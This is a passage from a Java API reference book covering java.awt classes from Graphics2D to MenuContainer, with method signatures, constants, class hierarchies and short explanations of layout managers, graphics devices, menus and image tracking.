Draw an Image with an optional filtering operation and/or an optional transformation. Also drawRenderableImage() and drawRenderedImage(). See also the drawImage() methods inherited from Graphics.

public abstract class Graphics2D extends Graphics {
// | Protected Constructors
 | protected Graphics2D ();
// | Property Accessor Methods (by property name)
 | public abstract Color getBackground ();
 | public abstract void setBackground (Color color);
 | public abstract Composite getComposite ();
 | public abstract void setComposite (Composite comp);
 | public abstract GraphicsConfiguration getDeviceConfiguration ();
 | public abstract java.awt.font.FontRenderContext getFontRenderContext ();
 | public abstract Paint getPaint ();
 | public abstract void setPaint (Paint paint);
 | public abstract RenderingHints getRenderingHints ();
 | public abstract void setRenderingHints (java.util.Map hints);
 | public abstract Stroke getStroke ();
 | public abstract void setStroke (Stroke s);
 | public abstract java.awt.geom.AffineTransform getTransform ();
 | public abstract void setTransform (java.awt.geom.AffineTransform Tx);
// | Public Instance Methods
 | public abstract void addRenderingHints (java.util.Map hints);
 | public abstract void clip (Shape s);
 | public abstract void draw (Shape s);
 | public abstract void drawGlyphVector (java.awt.font.GlyphVector g, float x, float y);
 | public abstract boolean drawImage (Image img, java.awt.geom.AffineTransform xform, java.awt.image.ImageObserver obs);
 | public abstract void drawImage (java.awt.image.BufferedImage img, java.awt.image.BufferedImageOp op, int x, int y);
 | public abstract void drawRenderableImage (java.awt.image.renderable.RenderableImage img, java.awt.geom.AffineTransform xform);
 | public abstract void drawRenderedImage (java.awt.image.RenderedImage img, java.awt.geom.AffineTransform xform);
 | public abstract void drawString (java.text.AttributedCharacterIterator iterator, float x, float y);
 | public abstract void drawString (String s, float x, float y);
 | public abstract void fill (Shape s);
 | public abstract Object getRenderingHint (RenderingHints.Key hintKey);
 | public abstract boolean hit (Rectangle rect, Shape s, boolean onStroke);
 | public abstract void rotate (double theta);
 | public abstract void rotate (double theta, double x, double y);
 | public abstract void scale (double sx, double sy);
 | public abstract void setRenderingHint (RenderingHints.Key hintKey, Object hintValue);
 | public abstract void shear (double shx, double shy);
 | public abstract void transform (java.awt.geom.AffineTransform Tx);
 | public abstract void translate (double tx, double ty);
// | Public Methods Overriding Graphics
 | public void draw3DRect (int x, int y, int width, int height, boolean raised);
 | public abstract void drawString (java.text.AttributedCharacterIterator iterator, int x, int y);
 | public abstract void drawString (String str, int x, int y);
 | public void fill3DRect (int x, int y, int width, int height, boolean raised);
 | public abstract void translate (int x, int y);
}

Hierarchy: Object-->Graphics-->Graphics2D

Passed To: java.awt.font.GraphicAttribute.draw(), java.awt.font.ImageGraphicAttribute.draw(), java.awt.font.ShapeGraphicAttribute.draw(), java.awt.font.TextLayout.draw()

Returned By: GraphicsEnvironment.createGraphics(), java.awt.image.BufferedImage.createGraphics()

GraphicsConfigTemplate | Java 1.2
java.awt | serializable

This abstract class is designed to support a matching operation that selects the best configuration from an array of GraphicsConfiguration objects. The best configuration is defined as the one that most closely matches the desired criteria. GraphicsConfigTemplate does not define what those criteria might be, however: the criteria and the matching algorithm are left entirely to the concrete subclass that provides definitions of the abstract methods.

This class in not commonly used. There are not any implementations of GraphicsConfigTemplate built into Java 1.2. On many platforms, such as Windows, a screen has only one available GraphicsConfiguration, so there is never a need to try to find the best one.

public abstract class GraphicsConfigTemplate implements Serializable {
// | Public Constructors
 | public GraphicsConfigTemplate (); |
// | Public Constants
 | public static final int PREFERRED ; | =2
 | public static final int REQUIRED ; | =1
 | public static final int UNNECESSARY ; | =3
// | Public Instance Methods
 | public abstract GraphicsConfiguration getBestConfiguration (GraphicsConfiguration[ ] gc); |
 | public abstract boolean isGraphicsConfigSupported (GraphicsConfiguration gc); |
}

Hierarchy: Object-->GraphicsConfigTemplate(Serializable)

Passed To: GraphicsDevice.getBestConfiguration()

GraphicsConfiguration Java 1.2
java.awt

This class describes a configuration of a graphics device. It stores information about the available resolution and colors of the device.

Resolution information is stored in the form of AffineTransform objects. getDefaultTransform() returns the default transform used to map user coordinates to device coordinates. For screen devices, this is usually an identity transform: by default, user coordinates are measured in screen pixels. For printers, the default transform is such that 72 units in user space maps to one inch on the printed page. getNormalizingTransform() returns an AffineTransform that, when concatenated to the default transform, yields a coordinate system in which 72 units of user space equal one inch on the screen or on a printed piece of paper. (For printers, this normalizing transform is obviously the identity transform, since the default transform is already 72 units to the inch.)

Color information about the device is returned by getColorModel(), in the form of a java.awt.image.ColorModel object. A ColorModel maps pixel values to their individual color components. The zero-argument form of getColorModel() returns the default color model for the configuration. If you pass one of the constants defined by the Transparency interface, the method returns a ColorModel object suitable for the configuration and the specified level of transparency.

createCompatibleImage() creates an off-screen BufferedImage object with the specified size and transparency that is compatible with the device color model. However, that most applications create off-screen images using a higher-level method, such as the createImage() method of Component.

See also GraphicsDevice and GraphicsEnvironment.

public abstract class GraphicsConfiguration {
// | Protected Constructors
 | protected GraphicsConfiguration ();
// | Property Accessor Methods (by property name)
 | public abstract java.awt.image.ColorModel getColorModel ();
 | public abstract java.awt.image.ColorModel getColorModel (int transparency);
 | public abstract java.awt.geom.AffineTransform getDefaultTransform ();
 | public abstract GraphicsDevice getDevice ();
 | public abstract java.awt.geom.AffineTransform getNormalizingTransform ();
// | Public Instance Methods
 | public abstract java.awt.image.BufferedImage createCompatibleImage (int width, int height);
 | public abstract java.awt.image.BufferedImage createCompatibleImage (int width, int height, int transparency);
}

Passed To: Canvas.Canvas(), GraphicsConfigTemplate.{getBestConfiguration(), isGraphicsConfigSupported()}

Returned By: Graphics2D.getDeviceConfiguration(), GraphicsConfigTemplate.getBestConfiguration(), GraphicsDevice.{getBestConfiguration(), getConfigurations(), getDefaultConfiguration()}

GraphicsDevice Java 1.2
java.awt

The GraphicsDevice class represents a device capable of displaying graphics, such as a computer monitor, a printer, or an off-screen image.

A GraphicsDevice object stores the type of the device (getType()) and an identifying string (getIDString()). More importantly, it contains a list of possible configurations of the device. For example, a screen may be configured at different resolutions and color depths. This configuration information is stored by the GraphicsDevice as GraphicsConfiguration objects.

GraphicsDevice does not have a public constructor. Instances that represent screen devices can be obtained by calling the getDefaultScreenDevice() method of GraphicsEnvironment. More generally, the GraphicsDevice used by any Graphics2D object can be obtained by calling getDeviceConfiguration() on that object to obtain a GraphicsConfiguration, and then calling getDevice() on that object to get its GraphicsDevice.

public abstract class GraphicsDevice {
// | Protected Constructors
 | protected GraphicsDevice (); |
// | Public Constants
 | public static final int TYPE_IMAGE_BUFFER ; | =2
 | public static final int TYPE_PRINTER ; | =1
 | public static final int TYPE_RASTER_SCREEN ; | =0
// | Property Accessor Methods (by property name)
 | public abstract GraphicsConfiguration[ ] getConfigurations (); |
 | public abstract GraphicsConfiguration getDefaultConfiguration (); |
 | public abstract String getIDstring (); |
 | public abstract int getType (); |
// | Public Instance Methods
 | public GraphicsConfiguration getBestConfiguration (GraphicsConfigTemplate gct); |
}

Returned By: GraphicsConfiguration.getDevice(), GraphicsEnvironment.{getDefaultScreenDevice(), getScreenDevices()}

GraphicsEnvironment Java 1.2
java.awt

This class describes a Java 2D graphics environment. This class does not have a public constructor; use getLocalGraphicsEnvironment() to obtain the GraphicsEnvironment object that represents the environment available to the Java VM.

A graphics environment consists of a list of available screens and a list of available fonts. The screens are represented by GraphicsDevice objects. Use getDefaultScreenDevice() to obtain information about the default screen. Although the GraphicsDevice class can also describe printers and off-screen images, the methods of GraphicsEnvironment return only screen devices. Therefore, it is not possible to use the GraphicsEnvironment class to query the available printers.

getAllFonts() returns a list of all fonts available on the system. Use caution when calling this method, however, because on some systems it can take a long time to enumerate all installed fonts. Note that the fonts returned by this method all have a size of 1 unit; a font must be scaled to the desired size by calling deriveFont() on the Font. When possible, it is usually better to call getAvailableFontFamilyNames() to list available font families, then create only the individual Font objects desired.

See also GraphicsDevice and GraphicsConfiguration.

public abstract class GraphicsEnvironment {
// | Protected Constructors
 | protected GraphicsEnvironment ();
// | Public Class Methods
 | public static GraphicsEnvironment getLocalGraphicsEnvironment ();
// | Property Accessor Methods (by property name)
 | public abstract Font[ ] getAllFonts ();
 | public abstract String[ ] getAvailableFontFamilyNames ();
 | public abstract String[ ] getAvailableFontFamilyNames (java.util.Locale l);
 | public abstract GraphicsDevice getDefaultScreenDevice ();
 | public abstract GraphicsDevice[ ] getScreenDevices ();
// | Public Instance Methods
 | public abstract Graphics2D createGraphics (java.awt.image.BufferedImage img);
}

Returned By: GraphicsEnvironment.getLocalGraphicsEnvironment()

GridBagConstraints | Java 1.0
java.awt | cloneable serializable PJ1.1

This class encapsulates the instance variables that tell a GridBagLayout how to position a given Component within its Container:

gridx, gridy

The grid position of the component. The RELATIVE constant specifies a position to the right of or below the previous component.

gridwidth, gridheight

The height and width of the component in grid cells. The constant REMAINDER specifies that the component is the last one and should get all remaining cells.

fill

The dimensions of a component that should grow when the space available for it is larger than its default size. Legal values are the constants NONE, BOTH, HORIZONTAL, and VERTICAL.

ipadx, ipady

Internal padding to add on each side of the component in each dimension. This padding increases the size of the component beyond its default minimum size.

insets

An Insets object that specifies margins to appear on all sides of the component.

anchor

How the component should be displayed within its grid cells when it is smaller than those cells. The CENTER constant and the compass-point constants are legal values.

weightx, weighty

How extra space in the container should be distributed among its components in the X and Y dimensions. Larger weights specify that a component should receive a proportionally larger amount of extra space. A 0 weight indicates that the component should not receive any extra space. These weights specify the resizing behavior of the component and its container.

See also GridBagLayout.

public class GridBagConstraints implements Cloneable, Serializable {
// | Public Constructors
 | public GridBagConstraints (); |
1.2 | public GridBagConstraints (int gridx, int gridy, int gridwidth, int gridheight, double weightx, double weighty, int anchor, int fill, Insets insets, int ipadx, int ipady); |
// | Public Constants
 | public static final int BOTH ; | =1
 | public static final int CENTER ; | =10
 | public static final int EAST ; | =13
 | public static final int HORIZONTAL ; | =2
 | public static final int NONE ; | =0
 | public static final int NORTH ; | =11
 | public static final int NORTHEAST ; | =12
 | public static final int NORTHWEST ; | =18
 | public static final int RELATIVE ; | =-1
 | public static final int REMAINDER ; | =0
 | public static final int SOUTH ; | =15
 | public static final int SOUTHEAST ; | =14
 | public static final int SOUTHWEST ; | =16
 | public static final int VERTICAL ; | =3
 | public static final int WEST ; | =17
// | Public Methods Overriding Object
 | public Object clone (); |
// | Public Instance Fields
 | public int anchor ; |
 | public int fill ; |
 | public int gridheight ; |
 | public int gridwidth ; |
 | public int gridx ; |
 | public int gridy ; |
 | public Insets insets ; |
 | public int ipadx ; |
 | public int ipady ; |
 | public double weightx ; |
 | public double weighty ; |
}

Hierarchy: Object-->GridBagConstraints(Cloneable,Serializable)

Passed To: GridBagLayout.{AdjustForGravity(), setConstraints()}

Returned By: GridBagLayout.{getConstraints(), lookupConstraints()}

Type Of: GridBagLayout.defaultConstraints

GridBagLayout | Java 1.0
java.awt | serializable layout manager PJ1.1

The most complicated and most powerful LayoutManager in the java.awt package. GridBagLayout divides a container into a grid of rows and columns (that need not have the same width and height) and places the components into this grid, adjusting the size of the grid cells as necessary to ensure that components do not overlap. Each component controls how it is positioned within this grid by specifying a number of variables (or constraints) in a GridBagConstraints object. Do not confuse this class with the much simpler GridLayout, which arranges components in a grid of equally sized cells.

Use setConstraints() to specify a GridBagConstraints object for each of the components in the container. Or, as of Java 1.1, specify the GridBagConstraints object when adding the component to the container with add(). The variables in this object specify the position of the component in the grid and the number of horizontal and vertical grid cells that the component occupies and also control other important aspects of component layout. See GridBagConstraints for more information on these constraint variables. setConstraints() makes a copy of the constraints object, so you may reuse a single object in your code.

Applications should never call the LayoutManager methods of this class directly; the Container for which the GridBagLayout is registered does this.

public class GridBagLayout implements LayoutManager2, Serializable {
// | Public Constructors
 | public GridBagLayout (); |
// | Protected Constants
 | protected static final int MAXGRIDSIZE ; | =512
 | protected static final int MINSIZE ; | =1
 | protected static final int PREFERREDSIZE ; | =2
// | Property Accessor Methods (by property name)
 | public int[ ][ ] getLayoutDimensions (); |
 | public Point getLayoutOrigin (); |
 | public double[ ][ ] getLayoutWeights (); |
// | Public Instance Methods
 | public GridBagConstraints getConstraints (Component comp); |
 | public Point location (int x, int y); |
 | public void setConstraints (Component comp, GridBagConstraints constraints); |
// | Methods Implementing LayoutManager
 | public void addLayoutComponent (String name, Component comp); | empty
 | public void layoutContainer (Container parent); |
 | public Dimension minimumLayoutSize (Container parent); |
 | public Dimension preferredLayoutSize (Container parent); |
 | public void removeLayoutComponent (Component comp); |
// | Methods Implementing LayoutManager2
1.1 | public void addLayoutComponent (Component comp, Object constraints); |
1.1 | public float getLayoutAlignmentX (Container parent); |
1.1 | public float getLayoutAlignmentY (Container parent); |
1.1 | public void invalidateLayout (Container target); | empty
1.1 | public Dimension maximumLayoutSize (Container target); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Methods
 | protected void AdjustForGravity (GridBagConstraints constraints, Rectangle r); |
 | protected void ArrangeGrid (Container parent); |
 | protected GridBagLayoutInfo GetLayoutInfo (Container parent, int sizeflag); |
 | protected Dimension GetMinSize (Container parent, GridBagLayoutInfo info); |
 | protected GridBagConstraints lookupConstraints (Component comp); |
// | Public Instance Fields
 | public double[ ] columnWeights ; |
 | public int[ ] columnWidths ; |
 | public int[ ] rowHeights ; |
 | public double[ ] rowWeights ; |
// | Protected Instance Fields
 | protected java.util.Hashtable comptable ; |
 | protected GridBagConstraints defaultConstraints ; |
 | protected GridBagLayoutInfo layoutInfo ; |
}

Hierarchy: Object-->GridBagLayout(LayoutManager2(LayoutManager),Serializable)

GridLayout | Java 1.0
java.awt | serializable layout manager PJ1.1

A LayoutManager that divides a Container into a specified number of equally sized rows and columns and arranges the components in those rows and columns, left to right and top to bottom. If either the number of rows or the number of columns is set to 0, its value is computed from the other dimension and the total number of components. Do not confuse this class with the more flexible and complicated GridBagLayout.

Applications should never call the LayoutManager methods of this class directly; the Container for which the GridLayout is registered does this.

public class GridLayout implements LayoutManager, Serializable {
// | Public Constructors
1.1 | public GridLayout (); |
 | public GridLayout (int rows, int cols); |
 | public GridLayout (int rows, int cols, int hgap, int vgap); |
// | Property Accessor Methods (by property name)
1.1 | public int getColumns (); | default:0
1.1 | public void setColumns (int cols); |
1.1 | public int getHgap (); | default:0
1.1 | public void setHgap (int hgap); |
1.1 | public int getRows (); | default:1
1.1 | public void setRows (int rows); |
1.1 | public int getVgap (); | default:0
1.1 | public void setVgap (int vgap); |
// | Methods Implementing LayoutManager
 | public void addLayoutComponent (String name, Component comp); | empty
 | public void layoutContainer (Container parent); |
 | public Dimension minimumLayoutSize (Container parent); |
 | public Dimension preferredLayoutSize (Container parent); |
 | public void removeLayoutComponent (Component comp); | empty
// | Public Methods Overriding Object
 | public String toString (); |
}

Hierarchy: Object-->GridLayout(LayoutManager,Serializable)

IllegalComponentStateException | Java 1.1
java.awt | serializable unchecked PJ1.1

Signals that an AWT component is not in the appropriate state for some requested operation (e.g., it hasn't been added to a container yet or is currently hidden).

public class IllegalComponentStateException extends java.lang.IllegalStateException {
// | Public Constructors
 | public IllegalComponentStateException ();
 | public IllegalComponentStateException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->java.lang.IllegalStateException-->IllegalComponentStateException

Thrown By: AccessibleContext.getLocale()

Image | Java 1.0
java.awt | PJ1.1

This abstract class represents a displayable image in a platform-independent way. An Image object cannot be instantiated directly through a constructor; it must be obtained through a method like the getImage() method of Applet or the createImage() method of Component. getSource() method returns the ImageProducer object that produces the image data. getGraphics() returns a Graphics object that can be used for drawing into off-screen images (but not images that are downloaded or generated by an ImageProducer).

public abstract class Image {
// | Public Constructors
 | public Image (); |
// | Public Constants
1.1 | public static final int SCALE_AREA_AVERAGING ; | =16
1.1 | public static final int SCALE_DEFAULT ; | =1
1.1 | public static final int SCALE_FAST ; | =2
1.1 | public static final int SCALE_REPLICATE ; | =8
1.1 | public static final int SCALE_SMOOTH ; | =4
 | public static final Object UndefinedProperty ; |
// | Property Accessor Methods (by property name)
 | public abstract Graphics getGraphics (); |
 | public abstract java.awt.image.ImageProducer getSource (); |
// | Public Instance Methods
 | public abstract void flush (); |
 | public abstract int getHeight (java.awt.image.ImageObserver observer); |
 | public abstract Object getProperty (String name, java.awt.image.ImageObserver observer); |
1.1 | public Image getScaledInstance (int width, int height, int hints); |
 | public abstract int getWidth (java.awt.image.ImageObserver observer); |
}

Subclasses: java.awt.image.BufferedImage

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: javax.swing.JViewport.backingStoreImage

Insets | Java 1.0
java.awt | cloneable serializable PJ1.1

This class holds four values that represent the top, left, bottom, and right margins, in pixels, of a Container or other Component. An object of this type can be specified in a GridBagConstraints layout object and is returned by Container.insets(), which queries the margins of a container.

public class Insets implements Cloneable, Serializable {
// | Public Constructors
 | public Insets (int top, int left, int bottom, int right);
// | Public Methods Overriding Object
 | public Object clone ();
1.1 | public boolean equals (Object obj);
 | public String toString ();
// | Public Instance Fields
 | public int bottom ;
 | public int left ;
 | public int right ;
 | public int top ;
}

Hierarchy: Object-->Insets(Cloneable,Serializable)

Subclasses: javax.swing.plaf.InsetsUIResource

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: GridBagConstraints.insets

ItemSelectable | Java 1.1
java.awt | PJ1.1

This interface abstracts the functionality of an AWT component that presents one or more items to the user and allows the user to select none, one, or several of them. It is implemented by several components in the AWT and Swing.

getSelectedObjects() returns an array of selected objects or null, if none are selected. addItemListener() and removeItemListener() are standard methods for adding and removing ItemListener objects to be notified when an item is selected.

public abstract interface ItemSelectable {
// | Event Registration Methods (by event name)
 | public abstract void addItemListener (java.awt.event.ItemListener l);
 | public abstract void removeItemListener (java.awt.event.ItemListener l);
// | Public Instance Methods
 | public abstract Object[ ] getSelectedObjects ();
}

Implementations: Checkbox, CheckboxMenuItem, Choice, java.awt.List, javax.swing.AbstractButton, javax.swing.ButtonModel, javax.swing.JComboBox

Passed To: java.awt.event.ItemEvent.ItemEvent()

Returned By: java.awt.event.ItemEvent.getItemSelectable()

Label | Java 1.0
java.awt | serializable AWT component PJ1.1

This class is a Component that displays a single specified line of read-only text. The constant values specify the text alignment within the component and can be specified in a call to the constructor or used with setAlignment().

public class Label extends Component {
// | Public Constructors
 | public Label (); |
 | public Label (String text); |
 | public Label (String text, int alignment); |
// | Public Constants
 | public static final int CENTER ; | =1
 | public static final int LEFT ; | =0
 | public static final int RIGHT ; | =2
// | Property Accessor Methods (by property name)
 | public int getAlignment (); | default:0
 | public void setAlignment (int alignment); | synchronized
 | public String getText (); | default:""
 | public void setText (String text); |
// | Public Methods Overriding Component
 | public void addNotify (); |
// | Protected Methods Overriding Component
 | protected String paramString (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Label

Passed To: Toolkit.createLabel()

LayoutManager | Java 1.0
java.awt | layout manager PJ1.1

This interface defines the methods necessary for a class to be able to arrange Component objects within a Container object. Most programs use one of the existing classes that implement this interface: BorderLayout, CardLayout, FlowLayout, GridBagConstraints, GridBagLayout, or GridLayout.

To define a new class that lays out components, you must implement each of the methods defined by this interface. addLayoutComponent() is called when a component is added to the container. removeLayoutComponent() is called when a component is removed. layoutContainer() should perform the actual positioning of components by setting the size and position of each component in the specified container. minimumLayoutSize() should return the minimum container width and height that the LayoutManager needs in order to lay out its components. preferredLayoutSize() should return the optimal container width and height for the LayoutManager to lay out its components.

As of Java 1.1, layout managers should implement the LayoutManager2 interface, which is an extension of this one. A Java applet or application never directly calls any of these LayoutManager methods--the Container object for which the LayoutManager is registered does that.

public abstract interface LayoutManager {
// | Public Instance Methods
 | public abstract void addLayoutComponent (String name, Component comp);
 | public abstract void layoutContainer (Container parent);
 | public abstract Dimension minimumLayoutSize (Container parent);
 | public abstract Dimension preferredLayoutSize (Container parent);
 | public abstract void removeLayoutComponent (Component comp);
}

Implementations: FlowLayout, GridLayout, LayoutManager2, javax.swing.ScrollPaneLayout, javax.swing.ViewportLayout

Passed To: Container.setLayout(), Panel.Panel(), ScrollPane.setLayout(), javax.swing.Box.setLayout(), javax.swing.JApplet.setLayout(), javax.swing.JDialog.setLayout(), javax.swing.JFrame.setLayout(), javax.swing.JInternalFrame.setLayout(), javax.swing.JPanel.JPanel(), javax.swing.JScrollPane.setLayout(), javax.swing.JWindow.setLayout()

Returned By: Container.getLayout(), javax.swing.JRootPane.createRootLayout(), javax.swing.JViewport.createLayoutManager()

LayoutManager2 | Java 1.1
java.awt | layout manager PJ1.1

This interface is an extension of the LayoutManager interface. It defines additional layout management methods for layout managers that perform constraint-based layout. GridBagLayout is an example of a constraint-based layout manager--each component added to the layout is associated with a GridBagConstraints object that specifies the constraints on how the component is to be laid out.

Java programs do not directly invoke the methods of this interface--they are used by the Container object for which the layout manager is registered.

public abstract interface LayoutManager2 extends LayoutManager {
// | Public Instance Methods
 | public abstract void addLayoutComponent (Component comp, Object constraints);
 | public abstract float getLayoutAlignmentX (Container target);
 | public abstract float getLayoutAlignmentY (Container target);
 | public abstract void invalidateLayout (Container target);
 | public abstract Dimension maximumLayoutSize (Container target);
}

Hierarchy: (LayoutManager2(LayoutManager))

Implementations: BorderLayout, CardLayout, GridBagLayout, javax.swing.BoxLayout, javax.swing.JRootPane.RootLayout, javax.swing.OverlayLayout

List | Java 1.0
java.awt | serializable AWT component PJ1.1

This class is a Component that graphically displays a list of strings. The list is scrollable if necessary. The constructor takes optional arguments that specify the number of visible rows in the list and whether selection of more than one item is allowed. The various instance methods allow strings to be added and removed from the List and allow the selected item or items to be queried.

public class List extends Component implements ItemSelectable {
// | Public Constructors
 | public List (); |
1.1 | public List (int rows); |
 | public List (int rows, boolean multipleMode); |
// | Event Registration Methods (by event name)
1.1 | public void addActionListener (java.awt.event.ActionListener l); | synchronized
1.1 | public void removeActionListener (java.awt.event.ActionListener l); | synchronized
1.1 | public void addItemListener (java.awt.event.ItemListener l); | Implements:ItemSelectable synchronized
1.1 | public void removeItemListener (java.awt.event.ItemListener l); | Implements:ItemSelectable synchronized
// | Property Accessor Methods (by property name)
1.1 | public int getItemCount (); | default:0
1.1 | public String[ ] getItems (); | synchronized
1.1 | public Dimension getMinimumSize (); | Overrides:Component
1.1 | public Dimension getMinimumSize (int rows); |
1.1 | public boolean isMultipleMode (); | default:false
1.1 | public void setMultipleMode (boolean b); |
1.1 | public Dimension getPreferredSize (); | Overrides:Component
1.1 | public Dimension getPreferredSize (int rows); |
 | public int getRows (); | default:4
 | public int getSelectedIndex (); | synchronized default:-1
 | public int[ ] getSelectedIndexes (); | synchronized
 | public String getSelectedItem (); | synchronized default:null
 | public String[ ] getSelectedItems (); | synchronized
1.1 | public Object[ ] getSelectedObjects (); | Implements:ItemSelectable
 | public int getVisibleIndex (); | default:-1
// | Public Instance Methods
1.1 | public void add (String item); |
1.1 | public void add (String item, int index); |
 | public void deselect (int index); | synchronized
 | public String getItem (int index); |
1.1 | public boolean isIndexSelected (int index); |
 | public void makeVisible (int index); | synchronized
1.1 | public void remove (String item); | synchronized
1.1 | public void remove (int position); |
1.1 | public void removeAll (); |
 | public void replaceItem (String newValue, int index); | synchronized
 | public void select (int index); |
// | Methods Implementing ItemSelectable
1.1 | public void addItemListener (java.awt.event.ItemListener l); | synchronized
1.1 | public Object[ ] getSelectedObjects (); |
1.1 | public void removeItemListener (java.awt.event.ItemListener l); | synchronized
// | Public Methods Overriding Component
 | public void addNotify (); |
 | public void removeNotify (); |
// | Protected Methods Overriding Component
 | protected String paramString (); |
1.1 | protected void processEvent (AWTEvent e); |
// | Protected Instance Methods
1.1 | protected void processActionEvent (java.awt.event.ActionEvent e); |
1.1 | protected void processItemEvent (java.awt.event.ItemEvent e); |
// | Deprecated Public Methods
# | public void addItem (String item); |
# | public void addItem (String item, int index); | synchronized
# | public boolean allowsMultipleSelections (); |
# | public void clear (); | synchronized
# | public int countItems (); |
# | public void delItem (int position); |
# | public void delItems (int start, int end); | synchronized
# | public boolean isSelected (int index); |
# | public Dimension minimumSize (); | Overrides:Component
# | public Dimension minimumSize (int rows); |
# | public Dimension preferredSize (); | Overrides:Component
# | public Dimension preferredSize (int rows); |
# | public void setMultipleSelections (boolean b); | synchronized
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->java.awt.List(ItemSelectable)

Passed To: Toolkit.createList()

MediaTracker | Java 1.0
java.awt | serializable PJ1.1

This class provides a convenient way to asynchronously load and keep track of the status of any number of Image objects. You can use it to load one or more images and then wait until those images have been completely loaded and are ready to be used.

The addImage() method registers an image to be loaded and tracked, assigning it a specified identifier value. waitForID() loads all the images that have been assigned the specified identifier and returns when they have all finished loading or it receives an error. isErrorAny() and isErrorID() check whether any errors have occurred while loading images. statusAll() and statusID() return the status of all images and of all images with the specified identifier, respectively. The return value of each of these methods is one of the defined constants.

public class MediaTracker implements Serializable {
// | Public Constructors
 | public MediaTracker (Component comp); |
// | Public Constants
 | public static final int ABORTED ; | =2
 | public static final int COMPLETE ; | =8
 | public static final int ERRORED ; | =4
 | public static final int LOADING ; | =1
// | Public Instance Methods
 | public void addImage (Image image, int id); |
 | public void addImage (Image image, int id, int w, int h); | synchronized
 | public boolean checkAll (); |
 | public boolean checkAll (boolean load); |
 | public boolean checkID (int id); |
 | public boolean checkID (int id, boolean load); |
 | public Object[ ] getErrorsAny (); | synchronized
 | public Object[ ] getErrorsID (int id); | synchronized
 | public boolean isErrorAny (); | synchronized
 | public boolean isErrorID (int id); | synchronized
1.1 | public void removeImage (Image image); | synchronized
1.1 | public void removeImage (Image image, int id); | synchronized
1.1 | public void removeImage (Image image, int id, int width, int height); | synchronized
 | public int statusAll (boolean load); |
 | public int statusID (int id, boolean load); |
 | public void waitForAll () throws InterruptedException; |
 | public boolean waitForAll (long ms) throws InterruptedException; | synchronized
 | public void waitForID (int id) throws InterruptedException; |
 | public boolean waitForID (int id, long ms) throws InterruptedException; | synchronized
}

Hierarchy: Object-->MediaTracker(Serializable)

Type Of: javax.swing.ImageIcon.tracker

Menu | Java 1.0
java.awt | serializable AWT component PJ1.1(opt)

This class represents a pulldown menu pane that appears within a MenuBar. Each Menu has a label that appears in the MenuBar and can optionally be a tear-off menu. The add() and addSeparator() methods add individual items to a Menu.

public class Menu extends MenuItem implements MenuContainer {
// | Public Constructors
1.1 | public Menu (); |
 | public Menu (String label); |
 | public Menu (String label, boolean tearOff); |
// | Property Accessor Methods (by property name)
1.1 | public int getItemCount (); | default:0
 | public boolean isTearOff (); | default:false
// | Public Instance Methods
 | public void add (String label); |
 | public MenuItem add (MenuItem mi); |
 | public void addSeparator (); |
 | public MenuItem getItem (int index); |
1.1 | public void insert (String label, int index); |
1.1 | public void insert (MenuItem menuitem, int index); |
1.1 | public void insertSeparator (int index); |
 | public void remove (int index); |
1.1 | public void removeAll (); |
// | Methods Implementing MenuContainer
 | public void remove (MenuComponent item); |
// | Public Methods Overriding MenuItem
 | public void addNotify (); |
1.1 | public String paramString (); |
// | Public Methods Overriding MenuComponent
 | public void removeNotify (); |
// | Deprecated Public Methods
# | public int countItems (); |
}

Hierarchy: Object-->MenuComponent(Serializable)-->MenuItem-->Menu(MenuContainer)

Subclasses: PopupMenu

Passed To: MenuBar.{add(), setHelpMenu()}, Toolkit.createMenu(), java.awt.peer.MenuBarPeer.{addHelpMenu(), addMenu()}

Returned By: MenuBar.{add(), getHelpMenu(), getMenu()}

MenuBar | Java 1.0
java.awt | serializable AWT component PJ1.1(opt)

This class represents a menu bar. add() adds Menu objects to the menu bar, and setHelpMenu() adds a Help menu in a reserved location of the menu bar. A MenuBar object may be displayed within a Frame by passing it to the setMenuBar() of the Frame.

public class MenuBar extends MenuComponent implements MenuContainer {
// | Public Constructors
 | public MenuBar (); |
// | Property Accessor Methods (by property name)
 | public Menu getHelpMenu (); | default:null
 | public void setHelpMenu (Menu m); |
1.1 | public int getMenuCount (); | default:0
// | Public Instance Methods
 | public Menu add (Menu m); |
 | public void addNotify (); |
1.1 | public void deleteShortcut (MenuShortcut s); |
 | public Menu getMenu (int i); |
1.1 | public MenuItem getShortcutMenuItem (MenuShortcut s); |
 | public void remove (int index); |
1.1 | public java.util.Enumeration shortcuts (); | synchronized
// | Methods Implementing MenuContainer
 | public void remove (MenuComponent m); |
// | Public Methods Overriding MenuComponent
 | public void removeNotify (); |
// | Deprecated Public Methods
# | public int countMenus (); |
}

Hierarchy: Object-->MenuComponent(Serializable)-->MenuBar(MenuContainer)

Passed To: Frame.setMenuBar(), Toolkit.createMenuBar(), java.awt.peer.FramePeer.setMenuBar()

Returned By: Frame.getMenuBar()

MenuComponent | Java 1.0
java.awt | serializable AWT component PJ1.1

This class is the superclass of all menu-related classes: You never need to instantiate a MenuComponent directly. setFont() specifies the font to be used for all text within the menu component.

public abstract class MenuComponent implements Serializable {
// | Public Constructors
 | public MenuComponent (); |
// | Property Accessor Methods (by property name)
 | public Font getFont (); |
 | public void setFont (Font f); |
1.1 | public String getName (); |
1.1 | public void setName (String name); |
 | public MenuContainer getParent (); |
// | Public Instance Methods
1.1 | public final void dispatchEvent (AWTEvent e); |
 | public void removeNotify (); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Methods
1.1 | protected final Object getTreeLock (); |
 | protected String paramString (); |
1.1 | protected void processEvent (AWTEvent e); | empty
// | Deprecated Public Methods
# | public java.awt.peer.MenuComponentPeer getPeer (); |
# | public boolean postEvent (Event evt); |
}

Hierarchy: Object-->MenuComponent(Serializable)

Subclasses: MenuBar, MenuItem

Passed To: Component.remove(), Frame.remove(), Menu.remove(), MenuBar.remove(), MenuContainer.remove()

MenuContainer | Java 1.0
java.awt | PJ1.1

This interface defines the methods necessary for MenuContainer types, such as Menu, Frame, and MenuBar objects. Unless you implement new menulike components, you never need to use it.

public abstract interface MenuContainer {
// | Public Instance Methods
 | public abstract Font getFont ();
 | public abstract void remove (MenuComponent comp);
// | Deprecated Public Methods
# | public abstract boolean postEvent (Event evt);
}

